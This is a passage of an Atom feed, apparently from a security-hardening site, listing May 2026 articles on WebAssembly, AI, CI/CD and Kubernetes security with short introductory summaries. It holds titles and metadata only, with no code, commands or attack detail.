    <id>https://www.systemshardening.com/articles/wasm/copa-wasm-scanner-plugin/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Extending Copa with WebAssembly: Building Sandboxed Scanner Plugins
The Problem with Shell Script Adapters
Copa patches container images by ingesting a vulnerability report, identifying which packages...</summary>
  </entry>
  
  <entry>
    <title>Envoy WASM Filters for API Security: Injection-Safe Middleware in the Data Plane</title>
    <link href="https://www.systemshardening.com/articles/wasm/envoy-wasm-api-security-filters/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/envoy-wasm-api-security-filters/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Envoy WASM Filters for API Security: Injection-Safe Middleware in the Data Plane
The Problem
Envoy processes every request through a filter chain: listener filters handle connection-level concerns,...</summary>
  </entry>
  
  <entry>
    <title>WebAssembly Component Supply Chain: Signing, Attestation, and Registry Security</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-component-supply-chain/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-component-supply-chain/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WebAssembly Component Supply Chain: Signing, Attestation, and Registry Security
The Problem
The WebAssembly Component Model promoted .wasm components from flat binary blobs to typed, composable...</summary>
  </entry>
  
  <entry>
    <title>Secrets in WASM Edge Functions: WASI Keyvalue, Vault Agent, and Capability-Based Secret Access</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-edge-secrets-management/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-edge-secrets-management/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Secrets in WASM Edge Functions: WASI Keyvalue, Vault Agent, and Capability-Based Secret Access
The Problem
Edge functions present a secrets management problem that does not exist in the same form for...</summary>
  </entry>
  
  <entry>
    <title>WebAssembly at the Edge: Implementing Zero Trust Authorization in WASM Filters</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-edge-zero-trust-auth/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-edge-zero-trust-auth/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WebAssembly at the Edge: Implementing Zero Trust Authorization in WASM Filters
The Authorization Round-Trip Problem
Zero trust architecture demands that every request be authenticated and authorized...</summary>
  </entry>
  
  <entry>
    <title>WASM Sandbox Escape in Kubernetes: Post-Escape Environment and Pivot Paths</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-kubernetes-pod-escape/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-kubernetes-pod-escape/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM Sandbox Escape in Kubernetes: Post-Escape Environment and Pivot Paths
The Problem
The security model for a WASM workload running in Kubernetes is a stack of nested isolation layers, not a single...</summary>
  </entry>
  
  <entry>
    <title>WebAssembly Memory Copy Safety: Bounds Checking, OOB Patterns, and Host Buffer Exchange</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-memory-copy-safety/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-memory-copy-safety/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WebAssembly Memory Copy Safety: Bounds Checking, OOB Patterns, and Host Buffer Exchange
Problem
WebAssembly’s bulk memory proposal — standardised in 2022 and now baseline across Wasmtime, WasmEdge,...</summary>
  </entry>
  
  <entry>
    <title>WebAssembly Module Registry Security: warg, OCI, and Supply Chain Controls for WASM</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-module-registry-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-module-registry-security/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WebAssembly Module Registry Security: warg, OCI, and Supply Chain Controls for WASM
Distribution Models and Their Security Implications
WASM modules reach production through three different...</summary>
  </entry>
  
  <entry>
    <title>WebAssembly Platform Extensions: Security Model for WASM Plugin Systems</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-platform-extension-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-platform-extension-security/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WebAssembly Platform Extensions: Security Model for WASM Plugin Systems
Why Platforms Choose WASM for Extensions
Platform engineering tools need extension points. A developer portal needs to render...</summary>
  </entry>
  
  <entry>
    <title>WebAssembly and Post-Quantum TLS: ML-KEM Hybrid Key Exchange in WASM Network Clients</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-post-quantum-tls/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-post-quantum-tls/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WebAssembly and Post-Quantum TLS: ML-KEM Hybrid Key Exchange in WASM Network Clients
The Problem
WASM applications do not have a single TLS story. Where a WASM module runs determines who controls TLS...</summary>
  </entry>
  
  <entry>
    <title>WebAssembly Serverless IAM: Credential-Free Cloud Access from WASM Functions</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-serverless-iam-integration/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-serverless-iam-integration/</id>
    <published>2026-05-09T00:00:00.000Z</published>
    <updated>2026-05-09T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WebAssembly Serverless IAM: Credential-Free Cloud Access from WASM Functions
The Credential Problem in WASM Serverless
Traditional cloud IAM relies on instance metadata. An EC2 instance running code...</summary>
  </entry>
  
  <entry>
    <title>Agentic Browser Prompt Injection: Web Content as an Attack Surface for Computer Use Agents</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/agentic-browser-prompt-injection-defence/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/agentic-browser-prompt-injection-defence/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Agentic Browser Prompt Injection: Web Content as an Attack Surface for Computer Use Agents
The Problem
Claude Computer Use (Anthropic, October 2024), OpenAI Operator (January 2025), and similar...</summary>
  </entry>
  
  <entry>
    <title>AI-Assisted Code Scanning: Copilot Autofix, DeepCode AI, and Evaluating Fix Quality</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-code-scanning-autofix/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-code-scanning-autofix/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>AI-Assisted Code Scanning: Copilot Autofix, DeepCode AI, and Evaluating Fix Quality
Problem
Static analysis tools have always identified more vulnerabilities than developer teams can remediate. The...</summary>
  </entry>
  
  <entry>
    <title>AI Model Evaluation Pipeline Security</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-evaluation-pipeline-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-evaluation-pipeline-security/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>AI Model Evaluation Pipeline Security
Problem
Evaluation pipelines are how teams decide whether a model is safe enough to deploy. Inspect AI (UK AISI), lm-evaluation-harness (EleutherAI), HELM...</summary>
  </entry>
  
  <entry>
    <title>AI Framework Security Disclosure: Reporting Vulnerabilities in LLM Servers, ML Frameworks, and Model Weights</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-framework-security-disclosure/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-framework-security-disclosure/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>AI Framework Security Disclosure: Reporting Vulnerabilities in LLM Servers, ML Frameworks, and Model Weights
Problem
The AI security disclosure ecosystem is roughly where the web application security...</summary>
  </entry>
  
  <entry>
    <title>Post-Quantum Protection for AI Systems: Model Weights, Inference Encryption, and Training Data</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-post-quantum-protection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-post-quantum-protection/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Post-Quantum Protection for AI Systems: Model Weights, Inference Encryption, and Training Data
Problem
Most AI security discussions focus on prompt injection, adversarial inputs, or supply chain...</summary>
  </entry>
  
  <entry>
    <title>Claude Computer Use Sandboxing: Production Patterns for Screen-Control Agent APIs</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/claude-computer-use-sandboxing/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/claude-computer-use-sandboxing/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Claude Computer Use Sandboxing: Production Patterns for Screen-Control Agent APIs
Problem
Anthropic’s Computer Use capability (public beta from late 2024, broadly used in production by 2026) lets a...</summary>
  </entry>
  
  <entry>
    <title>GPU Shared-Kernel Attacks: Isolation Failures in Multi-Tenant AI Inference Clusters</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/gpu-shared-kernel-ai-isolation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/gpu-shared-kernel-ai-isolation/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>GPU Shared-Kernel Attacks: Isolation Failures in Multi-Tenant AI Inference Clusters
The Problem
The current generation of multi-tenant AI inference platforms — shared GPU clusters, model-hosting APIs,...</summary>
  </entry>
  
  <entry>
    <title>LLM-Powered Credential Stuffing and Synthetic Identity Bots: Defence Beyond Rate Limiting</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/llm-powered-credential-stuffing-defence/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/llm-powered-credential-stuffing-defence/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>LLM-Powered Credential Stuffing and Synthetic Identity Bots: Defence Beyond Rate Limiting
The Problem
Traditional credential stuffing was an arithmetic problem. A 2-billion-record combo list, a hit...</summary>
  </entry>
  
  <entry>
    <title>MCP Tool Call Injection: Hijacking Tool Results to Redirect Agent Behaviour</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/mcp-tool-call-injection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/mcp-tool-call-injection/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>MCP Tool Call Injection: Hijacking Tool Results to Redirect Agent Behaviour
The Problem
Prompt injection via user input is well-understood: a malicious user includes instructions in their message that...</summary>
  </entry>
  
  <entry>
    <title>Open Source AI Models and the Security Audit Gap: What Openness Actually Means for Llama and Mistral</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/open-source-ai-models-security-audit/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/open-source-ai-models-security-audit/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Open Source AI Models and the Security Audit Gap: What Openness Actually Means for Llama and Mistral
The Problem
The term “open source” applied to AI models is doing substantial marketing work while...</summary>
  </entry>
  
  <entry>
    <title>vLLM and the KV-Cache Isolation Problem: How Shared Memory Leaks Between Inference Requests</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/vllm-shared-memory-inference-isolation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/vllm-shared-memory-inference-isolation/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>vLLM and the KV-Cache Isolation Problem: How Shared Memory Leaks Between Inference Requests
The Problem
High-throughput LLM inference at the scale required for production workloads forces a...</summary>
  </entry>
  
  <entry>
    <title>AI-Authored Malicious PRs: How LLMs Write Backdoors That Pass Code Review</title>
    <link href="https://www.systemshardening.com/articles/cicd/ai-authored-malicious-pr-defence/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/ai-authored-malicious-pr-defence/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>AI-Authored Malicious PRs: How LLMs Write Backdoors That Pass Code Review
The Problem
The open source community depends on good-faith code contributions. In 2024–2025, this model was tested: the XZ...</summary>
  </entry>
  
  <entry>
    <title>AI-Generated Code and Open Source License Compliance: The Copilot Copyright Problem</title>
    <link href="https://www.systemshardening.com/articles/cicd/ai-code-license-compliance/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/ai-code-license-compliance/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>AI-Generated Code and Open Source License Compliance: The Copilot Copyright Problem
The Problem
Traditional licence compliance tooling has one job: scan declared dependencies, identify their licences,...</summary>
  </entry>
  
  <entry>
    <title>CI/CD Cache Poisoning Defence Across Actions, Bazel, Nx, and Turbo</title>
    <link href="https://www.systemshardening.com/articles/cicd/cicd-cache-poisoning-defence/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/cicd-cache-poisoning-defence/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>CI/CD Cache Poisoning Defence Across Actions, Bazel, Nx, and Turbo
Problem
Modern CI pipelines depend on shared build caches: GitHub Actions Cache, Bazel remote cache, Nx Cloud, Turborepo Remote...</summary>
  </entry>
  
  <entry>
    <title>Docker-in-Docker and the Shared Kernel Double Bind: Why --privileged in CI Is Host Root</title>
    <link href="https://www.systemshardening.com/articles/cicd/docker-in-docker-shared-kernel-risk/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/docker-in-docker-shared-kernel-risk/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Docker-in-Docker and the Shared Kernel Double Bind: Why --privileged in CI Is Host Root
The Problem
Building container images in CI requires a container build tool running inside the CI environment —...</summary>
  </entry>
  
  <entry>
    <title>GitHub Actions Reusable Workflow Pinning and Drift Audit: Closing the Post-tj-actions Gap</title>
    <link href="https://www.systemshardening.com/articles/cicd/github-actions-reusable-workflow-pinning-audit/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/github-actions-reusable-workflow-pinning-audit/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>GitHub Actions Reusable Workflow Pinning and Drift Audit: Closing the Post-tj-actions Gap
Problem
In March 2025 tj-actions/changed-files was compromised: a maintainer-account takeover let the attacker...</summary>
  </entry>
  
  <entry>
    <title>GitHub Advanced Security at Enterprise Scale: Push Protection, Code Scanning Policies, and Autofix</title>
    <link href="https://www.systemshardening.com/articles/cicd/github-advanced-security-enterprise/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/github-advanced-security-enterprise/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>GitHub Advanced Security at Enterprise Scale: Push Protection, Code Scanning Policies, and Autofix
Problem
GitHub Advanced Security (GHAS) is an application security platform built into GitHub. It...</summary>
  </entry>
  
  <entry>
    <title>MCP Servers as a Supply Chain Attack Surface: Malicious Tool Registrations and Integrity Verification</title>
    <link href="https://www.systemshardening.com/articles/cicd/mcp-server-supply-chain/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/mcp-server-supply-chain/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>MCP Servers as a Supply Chain Attack Surface: Malicious Tool Registrations and Integrity Verification
The Problem
Every entry in an MCP server configuration is a trust decision. When...</summary>
  </entry>
  
  <entry>
    <title>Open Source CI/CD Security Disclosure: Reporting Vulnerabilities in Actions, Jenkins Plugins, and ArgoCD</title>
    <link href="https://www.systemshardening.com/articles/cicd/oss-cicd-security-disclosure/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/oss-cicd-security-disclosure/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Open Source CI/CD Security Disclosure: Reporting Vulnerabilities in Actions, Jenkins Plugins, and ArgoCD
Problem
CI/CD pipelines are where your code, your secrets, and your deployment authority...</summary>
  </entry>
  
  <entry>
    <title>Post-Quantum Artifact Signing in CI/CD: Migrating cosign and Sigstore to ML-DSA</title>
    <link href="https://www.systemshardening.com/articles/cicd/post-quantum-artifact-signing/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/post-quantum-artifact-signing/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Post-Quantum Artifact Signing in CI/CD: Migrating cosign and Sigstore to ML-DSA
Problem
Every container image signature, SLSA provenance attestation, and in-toto link file your pipeline produces today...</summary>
  </entry>
  
  <entry>
    <title>Bot PRs Against Public Repos: pull_request_target Exploitation and Forked-PR Secret Exfiltration</title>
    <link href="https://www.systemshardening.com/articles/cicd/public-repo-bot-pr-attack-defence/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/public-repo-bot-pr-attack-defence/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Bot PRs Against Public Repos: pull_request_target Exploitation and Forked-PR Secret Exfiltration
The Problem
In March 2025, the tj-actions/changed-files GitHub Action was compromised via a stolen...</summary>
  </entry>
  
  <entry>
    <title>Shared-Kernel CI Runners: How Jobs Leak Secrets Across the Isolation Boundary</title>
    <link href="https://www.systemshardening.com/articles/cicd/shared-kernel-ci-runner-escape/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/shared-kernel-ci-runner-escape/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Shared-Kernel CI Runners: How Jobs Leak Secrets Across the Isolation Boundary
The Problem
Every CI runner that uses containers rather than full virtual machines has the same fundamental property: the...</summary>
  </entry>
  
  <entry>
    <title>Software Supply Chain in the AI Coding Era: When Your Dependency Is a Prompt</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/ai-coding-supply-chain-risk/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/ai-coding-supply-chain-risk/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Software Supply Chain in the AI Coding Era: When Your Dependency Is a Prompt
The Problem
The log4shell vulnerability (CVE-2021-44228) was catastrophic partly because log4j was a transitive dependency...</summary>
  </entry>
  
  <entry>
    <title>Bot Management in the AI Era: Scoring Tiers, WebAuthn Step-Up, and Vendor Selection</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/ai-era-bot-management-programme/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/ai-era-bot-management-programme/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Bot Management in the AI Era: Scoring Tiers, WebAuthn Step-Up, and Vendor Selection
The Problem
The CAPTCHA era is ending. reCAPTCHA v2 and v3, Cloudflare Turnstile, and hCaptcha were all designed...</summary>
  </entry>
  
  <entry>
    <title>Real-Time Voice Clones Defeating Helpdesk and Voice MFA: A 2026 Defence Guide</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/deepfake-voice-mfa-defence/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/deepfake-voice-mfa-defence/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Real-Time Voice Clones Defeating Helpdesk and Voice MFA: A 2026 Defence Guide
The Problem
Voice as an authentication factor has been used by financial institutions, healthcare providers, and corporate...</summary>
  </entry>
  
  <entry>
    <title>EU Cyber Resilience Act: Technical Implementation Guide</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/eu-cyber-resilience-act-implementation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/eu-cyber-resilience-act-implementation/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>EU Cyber Resilience Act: Technical Implementation Guide
Problem
The EU Cyber Resilience Act (Regulation (EU) 2024/2847, “CRA”) entered into force on 10 December 2024 with phased application. The...</summary>
  </entry>
  
  <entry>
    <title>gVisor and Kata Containers: What the Shared Kernel Problem Forced the Industry to Build</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/gvisor-kata-shared-kernel-defense/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/gvisor-kata-shared-kernel-defense/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>gVisor and Kata Containers: What the Shared Kernel Problem Forced the Industry to Build
The Problem
The container security model has a single foundational assumption that every container escape CVE...</summary>
  </entry>
  
  <entry>
    <title>MCP OAuth 2.0 and the Principle of Least Authority: Scoping What Agents Can Do</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/mcp-oauth2-authorisation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/mcp-oauth2-authorisation/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>MCP OAuth 2.0 and the Principle of Least Authority: Scoping What Agents Can Do
The Problem
The Model Context Protocol (MCP) specification, finalised in 2025, defines a standard interface for...</summary>
  </entry>
  
  <entry>
    <title>NIST PQC Standards in Practice: Implementing FIPS 203, 204, and 205 with liboqs and Rust</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/nist-pqc-standards-implementation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/nist-pqc-standards-implementation/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>NIST PQC Standards in Practice: Implementing FIPS 203, 204, and 205 with liboqs and Rust
Problem
NIST finalised three post-quantum cryptography standards in August 2024, ending a six-year...</summary>
  </entry>
  
  <entry>
    <title>Building a Security Policy for Your Open Source Project: SECURITY.md, CVE Workflow, and Community Trust</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/oss-security-policy/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/oss-security-policy/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Building a Security Policy for Your Open Source Project: SECURITY.md, CVE Workflow, and Community Trust
Problem
Most open source projects have no documented security policy. GitHub’s own research has...</summary>
  </entry>
  
  <entry>
    <title>Enterprise Passkey Rollout Security: Attestation, Recovery, and IdP Interop in Mixed Estates</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/passkey-enterprise-rollout-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/passkey-enterprise-rollout-security/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Enterprise Passkey Rollout Security: Attestation, Recovery, and IdP Interop in Mixed Estates
Problem
Passkeys — WebAuthn credentials that sync across a user’s devices via iCloud Keychain, Google...</summary>
  </entry>
  
  <entry>
    <title>Seccomp as a Shared Kernel Attack Surface Limiter: Building Minimal Syscall Profiles</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/seccomp-minimal-syscall-profiles/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/seccomp-minimal-syscall-profiles/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Seccomp as a Shared Kernel Attack Surface Limiter: Building Minimal Syscall Profiles
The Problem
Linux has approximately 400 syscalls on x86_64. The kernel code paths behind each of those syscalls...</summary>
  </entry>
  
  <entry>
    <title>Building a Unified AppSec Programme: Integrating SAST, SCA, Secret Scanning, and DAST</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/unified-appsec-programme/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/unified-appsec-programme/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Building a Unified AppSec Programme: Integrating SAST, SCA, Secret Scanning, and DAST
Problem
Most teams running application security tooling are not running an AppSec programme — they are running...</summary>
  </entry>
  
  <entry>
    <title>AI-Generated Kubernetes Operators vs. Maintained Open Source: The CVE Response Gap</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/ai-generated-operators-vs-open-source/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/ai-generated-operators-vs-open-source/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>AI-Generated Kubernetes Operators vs. Maintained Open Source: The CVE Response Gap
The Problem
In early 2025, a platform team at a mid-sized fintech company needed a Kubernetes operator to manage...</summary>
  </entry>
  
  <entry>
    <title>Custom CodeQL Queries for Kubernetes Security: Scanning for RBAC Misconfigs, Pod Security Gaps, and Helm Secrets</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/codeql-kubernetes-security-queries/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/codeql-kubernetes-security-queries/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Custom CodeQL Queries for Kubernetes Security: Scanning for RBAC Misconfigs, Pod Security Gaps, and Helm Secrets
Problem
CodeQL’s built-in query packs for Go, Java, and Python are written by engineers...</summary>
  </entry>
  
  <entry>
    <title>containerd CVE-2022-23648: Path Traversal That Exposed the Host Filesystem</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/containerd-cve-2022-23648-path-traversal/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/containerd-cve-2022-23648-path-traversal/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>containerd CVE-2022-23648: Path Traversal That Exposed the Host Filesystem
The Problem
CVE-2022-23648 was disclosed on March 3, 2022, affecting containerd versions before 1.6.1, 1.5.10, and 1.4.13....</summary>
  </entry>
  
  <entry>
    <title>Agentic Bot Detection at Kubernetes Ingress: Envoy ext_authz Scoring for LLM-Driven Traffic</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kubernetes-agentic-bot-defence/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kubernetes-agentic-bot-defence/</id>
    <published>2026-05-08T00:00:00.000Z</published>
    <updated>2026-05-08T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Agentic Bot Detection at Kubernetes Ingress: Envoy ext_authz Scoring for LLM-Driven Traffic
The Problem
Every classical bot detection system is built on the assumption that bots are distinguishable...</summary>
  </entry>
  
  <entry>
    <title>Kubernetes Dynamic Resource Allocation (DRA) Security Hardening</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kubernetes-dra-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kubernetes-dra-security/</id>
    <published>2026-05-08T00:00:00.000Z</published>
